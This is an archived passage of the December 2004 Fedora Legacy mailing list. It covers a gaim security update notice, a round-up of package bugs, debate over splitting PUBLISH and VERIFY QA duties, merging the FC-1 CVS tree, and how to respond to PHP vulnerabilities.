Dec 2004 19:59:52 -0800 (PST) Subject: How to disable CONFIG_KALLSYMS in FC2 (kernel 2.6.5-1.358) Message-ID: <20041215035952.17633.qmail@web51507.mail.yahoo.com> Hi, Now, I'm using FC2 (linux-2.6.5-1.358), for some reason, I need to disable CONFIG_KALLSYMS for kernel development. In /usr/src/linux/.config, we can see that "CONFIG_KALLSYMS=y" is included in the General setup section like the following: # # General setup # CONFIG_SWAP=y CONFIG_SYSVIPC=y CONFIG_POSIX_MQUEUE=y CONFIG_BSD_PROCESS_ACCT=y CONFIG_SYSCTL=y CONFIG_AUDIT=y CONFIG_AUDITSYSCALL=y CONFIG_LOG_BUF_SHIFT=17 CONFIG_HOTPLUG=y # CONFIG_IKCONFIG is not set # CONFIG_EMBEDDED is not set CONFIG_KALLSYMS=y CONFIG_FUTEX=y CONFIG_EPOLL=y CONFIG_IOSCHED_NOOP=y CONFIG_IOSCHED_AS=y CONFIG_IOSCHED_DEADLINE=y CONFIG_IOSCHED_CFQ=y CONFIG_CC_OPTIMIZE_FOR_SIZE=y But, when we run 'make menuconfig', we can only see that the General setup section only contains the following items: [*] Support for paging of anonymous memory (swap) [*] System V IPC [*] POSIX Message Queues [*] BSD Process Accounting [*] Sysctl support [*] Auditing support [*] Enable system-call auditing support (17) Kernel log buffer size (16 => 64KB, 17 => 128KB) [*] Support for hot-pluggable devices [ ] Kernel .config support [*] Configure standard kernel features (for small systems) ---> [*] Optimize for size Then, It seems that there is no place to disable CONFIG_KALLSYMS (i.e. turn 'CONFIG_KALLSYMS=y' to 'CONFIG_KALLSYMS is not set'), How can I turn off the 'CONFIG_KALLSYMS' item?? Is CONFIG_KALLSYMS=y set automatically by system? Thanks, ===== Best Regards, Park Lee __________________________________ Do you Yahoo!? Meet the all-new My Yahoo! - Try it today! http://my.yahoo.com From davej at redhat.com Wed Dec 15 06:29:32 2004 From: davej at redhat.com (Dave Jones) Date: Wed, 15 Dec 2004 01:29:32 -0500 Subject: How to disable CONFIG_KALLSYMS in FC2 (kernel 2.6.5-1.358) In-Reply-To: <20041215035952.17633.qmail@web51507.mail.yahoo.com> References: <20041215035952.17633.qmail@web51507.mail.yahoo.com> Message-ID: <20041215062932.GA9018@redhat.com> On Tue, Dec 14, 2004 at 07:59:52PM -0800, Park Lee wrote: > Hi, > > Now, I'm using FC2 (linux-2.6.5-1.358), for some > reason, I need to disable CONFIG_KALLSYMS for kernel > development. > > In /usr/src/linux/.config, we can see that > "CONFIG_KALLSYMS=y" is included in the General setup > section like the following: > > > Then, It seems that there is no place to disable > CONFIG_KALLSYMS (i.e. turn 'CONFIG_KALLSYMS=y' to > 'CONFIG_KALLSYMS is not set'), How can I turn off the > 'CONFIG_KALLSYMS' item?? Is CONFIG_KALLSYMS=y set > automatically by system? There was a missing initcall. Get the latest 2.6.9 errata kernel for FC2, and use that instead. Dave From marcdeslauriers at videotron.ca Thu Dec 16 02:16:31 2004 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Wed, 15 Dec 2004 21:16:31 -0500 Subject: Fedora Legacy Test Update Notification: gaim Message-ID: <41C0EFFF.6000602@videotron.ca> --------------------------------------------------------------------- Fedora Legacy Test Update Notification FEDORALEGACY-2004-2188 Bugzilla https://bugzilla.fedora.us/show_bug.cgi?id=2188 2004-12-15 --------------------------------------------------------------------- Name : gaim 7.3 Version : 1.0.2-0.FC0.73.0.legacy 9 Version : 1.0.2-0.FC0.90.0.legacy fc1 Version : 1.0.2-0.FC1.0.legacy Summary : A GTK+ clone of the AOL Instant Messenger client. Description : Gaim is a clone of America Online's Instant Messenger client. It features nearly all of the functionality of the official AIM client while also being smaller, faster, and commercial-free. --------------------------------------------------------------------- Update Information: An updated gaim package that fixes security issues and various bugs is now avaliable. The gaim application is a multi-protocol instant messaging client. A buffer overflow has been discovered in the MSN protocol handler. When receiving unexpected sequence of MSNSLP messages, it is possible that an attacker could cause an internal buffer overflow, leading to a crash or possible code execution. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0891 to this issue. This updated gaim package also fixes multiple user interface, protocol, and error handling problems, including an ICQ communication encoding issue. All users of gaim should upgrade to this updated package which is not vulnerable to this issue. --------------------------------------------------------------------- 7.3 changelog: * Fri Oct 22 2004 Craig Kelley 1.0.2-0.FC0.73.0.legacy - Updated to 1.0.2 to fix CAN-2004-0891 9 changelog: * Fri Oct 22 2004 Craig Kelley 1.0.2-0.FC0.90.0.legacy - Updated to 1.0.2 to fix CAN-2004-0891 fc1 changelog: * Fri Oct 22 2004 Craig Kelley 1.0.2-0.FC1.0.legacy - Updated to 1.0.2 to fix CAN-2004-0891 --------------------------------------------------------------------- This update can be downloaded from: http://download.fedoralegacy.org/ (sha1sums) a174d3f8283b608124a7d1061d951d3f44eaf5df redhat/7.3/updates-testing/i386/gaim-1.0.2-0.FC0.73.0.legacy.i386.rpm b16668fdeddf34c3534065ab971b511774c346a8 redhat/7.3/updates-testing/SRPMS/gaim-1.0.2-0.FC0.73.0.legacy.src.rpm 4b1ebfc27b5b05868f5737064f16711d72904565 redhat/9/updates-testing/i386/gaim-1.0.2-0.FC0.90.0.legacy.i386.rpm 23dc361672ef204e40dcdba7f5c3a395200625f4 redhat/9/updates-testing/SRPMS/gaim-1.0.2-0.FC0.90.0.legacy.src.rpm 78e9993c468e49abf30779c99a9436046fcce426 fedora/1/updates-testing/i386/gaim-1.0.2-0.FC1.0.legacy.i386.rpm bed1c8a428c099d51086ddc4acf90571f3a04a98 fedora/1/updates-testing/SRPMS/gaim-1.0.2-0.FC1.0.legacy.src.rpm --------------------------------------------------------------------- Please test and comment in bugzilla. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature URL: From pekkas at netcore.fi Thu Dec 16 07:01:58 2004 From: pekkas at netcore.fi (Pekka Savola) Date: Thu, 16 Dec 2004 09:01:58 +0200 (EET) Subject: Separating the roles of the QA process Message-ID: Hi, In order to streamline the Fedora Legacy process, I've the following suggestion for enhancing the role separation of QA testing: 1) The submitter of packages builds them, and tests whether the new packages work ("these packages should be OK, I've tested them") XXX: does this place too much burden on the package submitter ? 2) The PUBLISH QA is only obligated to check that the modifications seem OK -- the sources have not been tampered with, the patches come from some reliable source or are otherwise OK, the spec file changes are minor, etc. PUBLISH QA is also charged with identifying that the patches made actually fix the vulnerabilities that the update is trying to fix. PUBLISH QA should be done for all the .src.rpm packages for all the distribution versions if possible. * PUBLISH QA is *not* charged with rebuilding the package, installing the binary RPM, or testing it. It can do this of course. The main purpose is to just quickly make sure that the submitted packages _seem_ to be OK, and should be rebuildable in mach. 3) the VERIFY QA is obligated to: - check the GPG signature and checksum of the packages - install it, run it, test if it works. - running rpm-build-compare.sh on the binaries to see if there have been any significant changes (e.g., to the libraries used) * VERIFY QA optional tasks are: - running rpm-build-compare.sh to the SRPM and/or other tasks related to PUBLISH QA. Justification: currently PUBLISH QA is not being done especially for obscure packages that no one is really using, because it's difficult to rebuild and install and test them. We need to make this available to *anyone*, even to those who don't run the Red Hat version in question. This makes updates-testing a bit more literally "testing", but IMHO that's not a problem. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From b.pennacchi at istc.cnr.it Thu Dec 16 14:31:33 2004 From: b.pennacchi at istc.cnr.it (Barbara Pennacchi) Date: Thu, 16 Dec 2004 15:31:33 +0100 Subject: DB errors and misc updates In-Reply-To: <20041214170017.07F0774135@hormel.redhat.com> References: <20041214170017.07F0774135@hormel.redhat.com> Message-ID: <20041216143133.GA10102@sibannac> On 14.12.04 18:00, Pekka Savola wrote: > Btw.2., could someone finally put the script QA script, from > http://www.redhat.com/archives/fedora-legacy-list/2004-October/msg00014.html, > at the QA website ? You could put it in the Wiki section (http://www.fedoralegacy.org/wiki/), where the FL's webmaster (eric, right?) can grab it and make into a regular webpage when there is time. :-) Same with the other suggestions. -- +--------------------------------------------------------------------+ | Barbara Pennacchi b.pennacchi(a)istc.cnr.it | | Consiglio Nazionale delle Ricerche | | Istituto di Scienze e Tecnologie della Cognizione | | V.le Marx 15, 00137 Roma, Italia | | http://www.istc.cnr.it/ | +--------------------------------------------------------------------+ From rob.myers at gtri.gatech.edu Thu Dec 16 15:14:42 2004 From: rob.myers at gtri.gatech.edu (Rob Myers) Date: Thu, 16 Dec 2004 10:14:42 -0500 Subject: Separating the roles of the QA process In-Reply-To: References: Message-ID: <1103210082.5024.147.camel@rXm-581b.stl.gtri.gatech.edu> On Thu, 2004-12-16 at 02:01, Pekka Savola wrote: > Hi, > > In order to streamline the Fedora Legacy process, I've the following > suggestion for enhancing the role separation of QA testing: > > 1) The submitter of packages builds them, and tests whether the new > packages work ("these packages should be OK, I've tested them") > > XXX: does this place too much burden on the package submitter ? just as a data point- i have built many rh73 and rh9 packages, but i can not test them since i only have fc1 around. rob. From dom at earth.li Fri Dec 17 01:27:07 2004 From: dom at earth.li (Dominic Hargreaves) Date: Fri, 17 Dec 2004 01:27:07 +0000 Subject: Round-up, 2004-12-17 Message-ID: <20041217012707.GA26510@home.thedom.org> $Id: issues.txt,v 1.143 2004/12/17 01:22:48 dom Exp $ See bottom for changes This list is also available at http://www-astro.physics.ox.ac.uk/~dom/legacy/issues.txt Packages that have been verified and should be fully released ------------------------------------------------------------- Packages waiting to be built for updates-testing ------------------------------------------------ yum - https://bugzilla.fedora.us/show_bug.cgi?id=1604 libxpm - https://bugzilla.fedora.us/show_bug.cgi?id=2075 gaim - https://bugzilla.fedora.us/show_bug.cgi?id=2188 freeradius - https://bugzilla.fedora.us/show_bug.cgi?id=2187 libpng - https://bugzilla.fedora.us/show_bug.cgi?id=1943 zip - https://bugzilla.fedora.us/show_bug.cgi?id=2255 openmotif - https://bugzilla.fedora.us/show_bug.cgi?id=2143 lesstiff - https://bugzilla.fedora.us/show_bug.cgi?id=2142 rp-pppoe - https://bugzilla.fedora.us/show_bug.cgi?id=2116 redhat-config-nfs - https://bugzilla.fedora.us/show_bug.cgi?id=2086 gtk2 - https://bugzilla.fedora.us/show_bug.cgi?id=2073 openoffice - https://bugzilla.fedora.us/show_bug.cgi?id=2074 Packages in state RESOLVED (ie exist in updates-testing) that need active work. ------------------------------------------------------------------ abiword - https://bugzilla.fedora.us/show_bug.cgi?id=1906 Needs 2 VERIFY [rh73] tripwire - https://bugzilla.fedora.us/show_bug.cgi?id=1719 Needs VERIFY for rh73 mailman - https://bugzilla.fedora.us/show_bug.cgi?id=1269 There were some unconfirmed reports of breakage with the candidate. This needs more QA before release. gnome-vfs - https://bugzilla.fedora.us/show_bug.cgi?id=1944 Needs VERIFY gpdf - https://bugzilla.fedora.us/show_bug.cgi?id=2195 Needs VERIFY xpdf - https://bugzilla.fedora.us/show_bug.cgi?id=2186 Needs VERIFY [fc1] unarj - https://bugzilla.fedora.us/show_bug.cgi?id=2272 Needs VERIFY Packages in state UNCONFIRMED, NEW, ASSIGNED or REOPENED: -------------------------------------------------------- readline - https://bugzilla.fedora.us/show_bug.cgi?id=2017 Needs QA and decision on whether to release [rh9] sox - https://bugzilla.fedora.us/show_bug.cgi?id=1945 Needs possible renaming of rh7.3 package qt - https://bugzilla.fedora.us/show_bug.cgi?id=2002 Needs 2 PUBLISH gdk-pixbuf - https://bugzilla.fedora.us/show_bug.cgi?id=2005 Needs PUBLISH [rh9] mysql - https://bugzilla.fedora.us/show_bug.cgi?id=2006 Needs 2 PUBLISH ruby - https://bugzilla.fedora.us/show_bug.cgi?id=2007 Needs packages for [rh73,rh9]? kdelibs - https://bugzilla.fedora.us/show_bug.cgi?id=2008 Needs 2 PUBLISH mc - https://bugzilla.fedora.us/show_bug.cgi?id=2009 Needs further work pam_wheel - https://bugzilla.fedora.us/show_bug.cgi?id=2010 Needs PUBLISH and full auditing and packages for rh9 krb5 - https://bugzilla.fedora.us/show_bug.cgi?id=2040 Needs 1 PUBLISH for rh9 / investigate possible bug introduced zlib - https://bugzilla.fedora.us/show_bug.cgi?id=2043 Needs checking for statically linked apps imlib - https://bugzilla.fedora.us/show_bug.cgi?id=2051 Needs PUBLISH [rh9] ImageMagick - https://bugzilla.fedora.us/show_bug.cgi?id=2052 Needs PUBLISH [rh73,rh9] cdrecord - https://bugzilla.fedora.us/show_bug.cgi?id=2058 Needs 2 PUBLISH for rh9 cups - https://bugzilla.fedora.us/show_bug.cgi?id=2127 Needs PUBLISH [rh73,rh9,fc1] and further fixes kernel - https://bugzilla.fedora.us/show_bug.cgi?id=2128 Needs investigation/packages mysql - https://bugzilla.fedora.us/show_bug.cgi?id=2129 Needs QA [rh73,rh9] gtk2 - https://bugzilla.fedora.us/show_bug.cgi?id=2134 Needs investigation cyrus-sasl - https://bugzilla.fedora.us/show_bug.cgi?id=2137 Needs QA [7.3] security.conf - https://bugzilla.fedora.us/show_bug.cgi?id=2146 Needs QA [fc1,rh9], packages [rh9], discussion of updated extras squid - https://bugzilla.fedora.us/show_bug.cgi?id=2150 Needs QA [rh9], more work gettext - https://bugzilla.fedora.us/show_bug.cgi?id=2151 Needs investigation/packages sharutils - https://bugzilla.fedora.us/show_bug.cgi?id=2155 Needs QA [rh73,rh9,fc1] libtiff - https://bugzilla.fedora.us/show_bug.cgi?id=2163 Needs QA [rh73] kdefax - https://bugzilla.fedora.us/show_bug.cgi?id=2164 Needs PUBLISH [rh73,rh9,fc1] libxml2 - https://bugzilla.fedora.us/show_bug.cgi?id=2207 Needs PUBLISH [rh73,rh9,fc1] links - https://bugzilla.fedora.us/show_bug.cgi?id=2213 Needs packages/investigation mozilla - https://bugzilla.fedora.us/show_bug.cgi?id=2214 Needs investigation/packages lynx - https://bugzilla.fedora.us/show_bug.cgi?id=2215 Needs investigation/packages w3m - https://bugzilla.fedora.us/show_bug.cgi?id=2216 Needs investigation/packages ppp - https://bugzilla.fedora.us/show_bug.cgi?id=2229 Needs investigation/packages (reject I guess...) dhcp - https://bugzilla.fedora.us/show_bug.cgi?id=2251 Needs investigation/packages iptables - https://bugzilla.fedora.us/show_bug.cgi?id=2252 Needs investigation/packages shadow - https://bugzilla.fedora.us/show_bug.cgi?id=2253 Needs investigation/packages libgd - https://bugzilla.fedora.us/show_bug.cgi?id=2254 Needs investigation/packages groff - https://bugzilla.fedora.us/show_bug.cgi?id=2256 Needs investigation/packages openssl - https://bugzilla.fedora.us/show_bug.cgi?id=2257 Needs investigation/packages lvm - https://bugzilla.fedora.us/show_bug.cgi?id=2258 Needs investigation/packages netatalk - https://bugzilla.fedora.us/show_bug.cgi?id=2259 Needs investigation/packages postgresql - https://bugzilla.fedora.us/show_bug.cgi?id=2260 Needs investigation/packages perl - https://bugzilla.fedora.us/show_bug.cgi?id=2261 Needs investigation/packages pppd - https://bugzilla.fedora.us/show_bug.cgi?id=2262 Needs investigation/packages samba - https://bugzilla.fedora.us/show_bug.cgi?id=2264 Needs PUBLISH [rh73,rh9,fc1] and update for new vuln glibc - https://bugzilla.fedora.us/show_bug.cgi?id=2265 Needs investigation/packages ghostscript - https://bugzilla.fedora.us/show_bug.cgi?id=2266 Needs investigation/packages krb5 - https://bugzilla.fedora.us/show_bug.cgi?id=2267 Needs investigation/packages spamassassin - https://bugzilla.fedora.us/show_bug.cgi?id=2268 Needs PUBLISH [fc1] squirrelmail - http://bugzilla.fedora.us/show_bug.cgi?id=2290 Needs PUBLISH [rh9,fc1] sudo - http://bugzilla.fedora.us/show_bug.cgi?id=2291 Needs investigation/packages gzip - http://bugzilla.fedora.us/show_bug.cgi?id=2292 Needs investigation/packages sysklogd - https://bugzilla.fedora.us/show_bug.cgi?id=2311 Probably worksforme XFree86 - https://bugzilla.fedora.us/show_bug.cgi?id=2314 Neeeds QA cups - https://bugzilla.fedora.us/show_bug.cgi?id=2316 Probably NOP file - https://bugzilla.fedora.us/show_bug.cgi?id=2331 Needs investigation/packages raidtools - https://bugzilla.fedora.us/show_bug.cgi?id=2332 Probably NOP rpm - https://bugzilla.fedora.us/show_bug.cgi?id=2333 Haven't we seen this in some other bug? pdflatex - https://bugzilla.fedora.us/show_bug.cgi?id=2334 Needs investigation/packages a2ps - https://bugzilla.fedora.us/show_bug.cgi?id=2338 Needs investigation/packages nfs-utils - https://bugzilla.fedora.us/show_bug.cgi?id=2339 Needs investigation/packages wget - https://bugzilla.fedora.us/show_bug.cgi?id=2340 Needs investigation/packages namazu - https://bugzilla.fedora.us/show_bug.cgi?id=2342 Needs investigation/packages vim - https://bugzilla.fedora.us/show_bug.cgi?id=2343 Needs investigation/packages php - https://bugzilla.fedora.us/show_bug.cgi?id=2344 Needs investigation/packages xine - https://bugzilla.fedora.us/show_bug.cgi?id=2348 Needs investigation/packages General (non-package bugs) -------------------------- sample yum.conf - https://bugzilla.fedora.us/show_bug.cgi?id=2140 up2date - https://bugzilla.fedora.us/show_bug.cgi?id=2193 up2date - https://bugzilla.fedora.us/show_bug.cgi?id=2194 updates - http://bugzilla.fedora.us/show_bug.cgi?id=2281 up2date - http://bugzilla.fedora.us/show_bug.cgi?id=2306 yum - https://bugzilla.fedora.us/show_bug.cgi?id=2330 Notes ----- Needs PUBLISH means that there are packages available for QA that need to be QAd at the source level. Needs VERIFY means that there are updates-testing packages that need testing. This is the easy bit, let's get this old ones out of the way ASAP. * means that there is a judgement call that can be made on the bug system immediately. Please follow up onlist with opinions. Changes ------- $Log: issues.txt,v $ Revision 1.143 2004/12/17 01:22:48 dom many chnges Revision 1.142 2004/12/14 00:22:24 dom updates Revision 1.141 2004/12/09 23:20:24 dom update libpng Revision 1.140 2004/12/09 16:38:34 dom move Revision 1.139 2004/12/07 17:12:58 dom updates Revision 1.138 2004/12/06 00:04:15 dom updates Revision 1.137 2004/12/02 00:26:59 dom blah -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Digital signature URL: From marcdeslauriers at videotron.ca Fri Dec 17 05:26:17 2004 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Fri, 17 Dec 2004 00:26:17 -0500 Subject: Separating the roles of the QA process In-Reply-To: References: Message-ID: <1103261177.9441.7.camel@mdlinux> On Thu, 2004-12-16 at 09:01 +0200, Pekka Savola wrote: > 2) The PUBLISH QA is only obligated to check that the modifications > seem OK -- the sources have not been tampered with, the patches come > from some reliable source or are otherwise OK, the spec file changes > are minor, etc. I agree with this...the binaries provided by the packagers don't reflect the binaries that mach will produce when the packages get pushed to updates-testing, so I don't see the point in looking at them... > 3) the VERIFY QA is obligated to: > - check the GPG signature and checksum of the packages > - install it, run it, test if it works. > - running rpm-build-compare.sh on the binaries to see if there have > been any significant changes (e.g., to the libraries used) rpm-build-compare.sh is usually run after building in mach and before posting to updates-testing. I don't think this should be mandatory for people to give a VERIFY as it will require more work than they will probably be willing to do. That said, if anyone actually does it, it's definitely a plus... > Justification: currently PUBLISH QA is not being done especially for > obscure packages that no one is really using, because it's difficult > to rebuild and install and test them. We need to make this available > to *anyone*, even to those who don't run the Red Hat version in > question. > I agree. > This makes updates-testing a bit more literally "testing", but IMHO > that's not a problem. > Agreed. Marc. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From pekkas at netcore.fi Fri Dec 17 06:43:53 2004 From: pekkas at netcore.fi (Pekka Savola) Date: Fri, 17 Dec 2004 08:43:53 +0200 (EET) Subject: Separating the roles of the QA process In-Reply-To: <1103261177.9441.7.camel@mdlinux> References: <1103261177.9441.7.camel@mdlinux> Message-ID: On Fri, 17 Dec 2004, Marc Deslauriers wrote: >> 3) the VERIFY QA is obligated to: >> - check the GPG signature and checksum of the packages >> - install it, run it, test if it works. >> - running rpm-build-compare.sh on the binaries to see if there have >> been any significant changes (e.g., to the libraries used) > > rpm-build-compare.sh is usually run after building in mach and before > posting to updates-testing. I don't think this should be mandatory for > people to give a VERIFY as it will require more work than they will > probably be willing to do. That said, if anyone actually does it, it's > definitely a plus... Fine by me. IMHO, however, it is very useful to run rpm-build-compare.sh on the _binary_ RPMS, to see if there have been any changes (e.g., some library or file went missing by accident, etc.). These kind of changes are impossible to test on your own. Or is there an undocumented process what happens at mach and updates-testing, i.e., is someone already doing this kind of review ? (I was hoping this was automatic except for gpg signing, but if not, I think it needs to be documented on the web pages so the folks have right expectations what different folks should be doing.) -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From marcdeslauriers at videotron.ca Fri Dec 17 13:08:30 2004 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Fri, 17 Dec 2004 08:08:30 -0500 Subject: Separating the roles of the QA process In-Reply-To: References: <1103261177.9441.7.camel@mdlinux> Message-ID: <1103288910.10535.2.camel@mdlinux> On Fri, 2004-12-17 at 08:43 +0200, Pekka Savola wrote: > Fine by me. IMHO, however, it is very useful to run > rpm-build-compare.sh on the _binary_ RPMS, to see if there have been > any changes (e.g., some library or file went missing by accident, > etc.). These kind of changes are impossible to test on your own. > We had a lot of build problems in mach with missing BuildRequires in Red Hat's packages so we have to use rpm-build-compare.sh on the resulting binary packages that are produced in order to find out if anything is missing. This gets done before packages are put in updates-testing to make sure mach didn't break anything. Marc. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From rob.myers at gtri.gatech.edu Fri Dec 17 15:08:56 2004 From: rob.myers at gtri.gatech.edu (Rob Myers) Date: Fri, 17 Dec 2004 10:08:56 -0500 Subject: Fedora Legacy and Fedora's cvs Message-ID: <1103296136.1275.7.camel@rXm-581b.stl.gtri.gatech.edu> fedora legacy is working on updated zlib patches. the approach that has been submitted is different from the approach taken in fedora's FC-1 cvs. you can compare them: https://bugzilla.fedora.us/show_bug.cgi?id=2043 http://cvs.fedora.redhat.com/viewcvs/rpms/zlib/FC-1/zlib.spec?rev=1.11&view=markup what is the larger picture? i advocate the convergence of the fedora-legacy releases with the FC-1 cvs tree. how can we achieve that? would redhat be willing to grant fedora legacy members commit access to the EOL'd trees? is there another way? comments, references, suggestions and insights welcome. rob. From pekkas at netcore.fi Fri Dec 17 19:08:03 2004 From: pekkas at netcore.fi (Pekka Savola) Date: Fri, 17 Dec 2004 21:08:03 +0200 (EET) Subject: Fedora Legacy and Fedora's cvs In-Reply-To: <1103296136.1275.7.camel@rXm-581b.stl.gtri.gatech.edu> References: <1103296136.1275.7.camel@rXm-581b.stl.gtri.gatech.edu> Message-ID: On Fri, 17 Dec 2004, Rob Myers wrote: > what is the larger picture? i advocate the convergence of the > fedora-legacy releases with the FC-1 cvs tree. how can we achieve > that? would redhat be willing to grant fedora legacy members commit > access to the EOL'd trees? is there another way? First, I'm not 100% sure what you're suggesting: 1) trying to (also) integrate (back) RHL73 and RHL9 in the Fedora build system. Undoubtedly, this would make updates and QA easier because those with commit rights would by definition be sufficiently "trusted". 2) for FL to FC1, work based on the latest CVS for FC1 (whether that has included bug fixes, software version upgrades etc. as well) This implies that the FL FC1 releases will have more than just minimal security fixes. On the other hand, if we make the political statement that FL security fixes will always be applied on top of the latest in the fedora core release in question -- and that may cause some breakage -- then it will definitely be easier than just security backports. This may or may not be reasonable, provided that we aren't going to produce security fixes to FC releases for so long time in any case -- it makes some sense to do it the easiest possible way. I think you were referring to 2). This doesn't matter all that much (yet), but if we don't retire FC1 security support before we take on FC2, it would likely be easier to do FC1 packages based on the latest on Fedora CVS. The biggest issue here is probably how much effort we'd be willing to put doing QA and handling the breakage that this approach would imply. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From rob.myers at gtri.gatech.edu Fri Dec 17 23:14:07 2004 From: rob.myers at gtri.gatech.edu (Rob Myers) Date: Fri, 17 Dec 2004 18:14:07 -0500 Subject: Fedora Legacy and Fedora's cvs In-Reply-To: References: <1103296136.1275.7.camel@rXm-581b.stl.gtri.gatech.edu> Message-ID: <1103325247.1275.61.camel@rXm-581b.stl.gtri.gatech.edu> On Fri, 2004-12-17 at 14:08, Pekka Savola wrote: > On Fri, 17 Dec 2004, Rob Myers wrote: > > what is the larger picture? i advocate the convergence of the > > fedora-legacy releases with the FC-1 cvs tree. > > First, I'm not 100% sure what you're suggesting: let me try and restate what i'm thinking. redhat has an FC-1 tree that is different from the fedora legacy FC-1 tree. i think it would be advantageous to merge these trees. this would alleviate any confusion as to which FC-1 tree is the "correct" FC-1 tree. furthermore, tree convergence would set a clear path for future fedora legacy maintenance. > This implies that the FL FC1 releases will have more than just > minimal security fixes. i think fedora legacy should stick to minimal security fixes, as much as possible. does tree convergence imply that the FC-1 tree would have more than just minimal security fixes? that is not clear to me. could the redhat folks live with a "merged" FC-1 tree with only minimal updates? how does redhat use their FC-1 tree? > The biggest issue here is probably how much effort we'd be willing to > put doing QA and handling the breakage that this approach would imply. again, it is not clear to me that a "merged" FC-1 tree implies more than minimal updates. it would be helpful to hear someone from redhat describe how they currently use their FC-1 tree, and how they plan on using the EOL'd trees in the future. rob. From jimpop at yahoo.com Fri Dec 17 23:58:58 2004 From: jimpop at yahoo.com (Jim Popovitch) Date: Fri, 17 Dec 2004 18:58:58 -0500 Subject: PHP vulnerabilities? Message-ID: <1103327938.5791.17.camel@blue> Does anyone know to what extent, if any, the recently announced PHP vulnerabilities affect FL? My understanding is that this is something that should probably necessitate a release from us. http://www.hardened-php.net/advisories/012004.txt -Jim P. From rob.myers at gtri.gatech.edu Sat Dec 18 00:52:52 2004 From: rob.myers at gtri.gatech.edu (Rob Myers) Date: Fri, 17 Dec 2004 19:52:52 -0500 Subject: PHP vulnerabilities? In-Reply-To: <1103327938.5791.17.camel@blue> References: <1103327938.5791.17.camel@blue> Message-ID: <1103331172.1275.63.camel@rXm-581b.stl.gtri.gatech.edu> On Fri, 2004-12-17 at 18:58, Jim Popovitch wrote: > Does anyone know to what extent, if any, the recently announced PHP > vulnerabilities affect FL? see: https://bugzilla.fedora.us/show_bug.cgi?id=2344 rob. From jimpop at yahoo.com Sat Dec 18 01:41:53 2004 From: jimpop at yahoo.com (Jim Popovitch) Date: Fri, 17 Dec 2004 20:41:53 -0500 Subject: PHP vulnerabilities? In-Reply-To: <1103331172.1275.63.camel@rXm-581b.stl.gtri.gatech.edu> References: <1103327938.5791.17.camel@blue> <1103331172.1275.63.camel@rXm-581b.stl.gtri.gatech.edu> Message-ID: <1103334113.5791.37.camel@blue> Given the considerable amount of changes in PHP since v4.1.2 (current FL release), what is the possibility about just releasing a v4.3.10 rpm? One could sorta argue that the number of security problems necessitates more than just a point fix here and a point fix there (in no way implying that any part of this is trivial) -Jim P. On Fri, 2004-12-17 at 19:52 -0500, Rob Myers wrote: > On Fri, 2004-12-17 at 18:58, Jim Popovitch wrote: > > Does anyone know to what extent, if any, the recently announced PHP > > vulnerabilities affect FL? > > see: > https://bugzilla.fedora.us/show_bug.cgi?id=2344 > > rob. > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list From spamtrap433941935136 at anime.net Sat Dec 18 03:18:59 2004 From: spamtrap433941935136 at anime.net (Dan Hollis) Date: Fri, 17 Dec 2004 19:18:59 -0800 (PST) Subject: PHP vulnerabilities? In-Reply-To: <1103334113.5791.37.camel@blue> Message-ID: On Fri, 17 Dec 2004, Jim Popovitch wrote: > Given the considerable amount of changes in PHP since v4.1.2 (current FL > release), what is the possibility about just releasing a v4.3.10 rpm? > One could sorta argue that the number of security problems necessitates > more than just a point fix here and a point fix there (in no way > implying that any part of this is trivial) Are there backwards compat issues with 4.3.10 vs 4.1.2? A 4.3.10 release would mean having to release all the supporting php packages as well, eg php-ldap, php-mysql, php-imap, etc... Worth it? -Dan From marcdeslauriers at videotron.ca Sat Dec 18 03:48:25 2004 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Fri, 17 Dec 2004 22:48:25 -0500 Subject: PHP vulnerabilities? In-Reply-To: <1103334113.5791.37.camel@blue> References: <1103327938.5791.17.camel@blue> <1103331172.1275.63.camel@rXm-581b.stl.gtri.gatech.edu> <1103334113.5791.37.camel@blue> Message-ID: <1103341705.11158.2.camel@mdlinux> On Fri, 2004-12-17 at 20:41 -0500, Jim Popovitch wrote: > Given the considerable amount of changes in PHP since v4.1.2 (current FL > release), what is the possibility about just releasing a v4.3.10 rpm? I would say it's highly unlikely we'll update to 4.3.10. We'll probably wait to see what is done to RHEL 2.1 and other distros. 4.1.2 may not even be vulnerable to most of the issues... Marc. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From matt.followers at gmail.com Sat Dec 18 04:35:24 2004 From: matt.followers at gmail.com (Matthew Nuzum) Date: Fri, 17 Dec 2004 23:35:24 -0500 Subject: PHP vulnerabilities? In-Reply-To: References: Message-ID: <1103344529.23902.20.camel@matt.newz.gotdns.com> On Fri, 2004-12-17 at 19:18 -0800, Dan Hollis wrote: > On Fri, 17 Dec 2004, Jim Popovitch wrote: > > Given the considerable amount of changes in PHP since v4.1.2 (current FL > > release), what is the possibility about just releasing a v4.3.10 rpm? > > One could sorta argue that the number of security problems necessitates > > more than just a point fix here and a point fix there (in no way > > implying that any part of this is trivial) > > Are there backwards compat issues with 4.3.10 vs 4.1.2? > A 4.3.10 release would mean having to release all the supporting php > packages as well, eg php-ldap, php-mysql, php-imap, etc... > > Worth it? > > -Dan There are backwards compat issues. For one, php 4.2 started shipping with register globals off which is likely to break compatibility in a major way. It should be easy though to create an RPM that ships with register globals on. However, there have been many other changes since then. In evaluating my response to this problem I spent a bit of time yesterday going 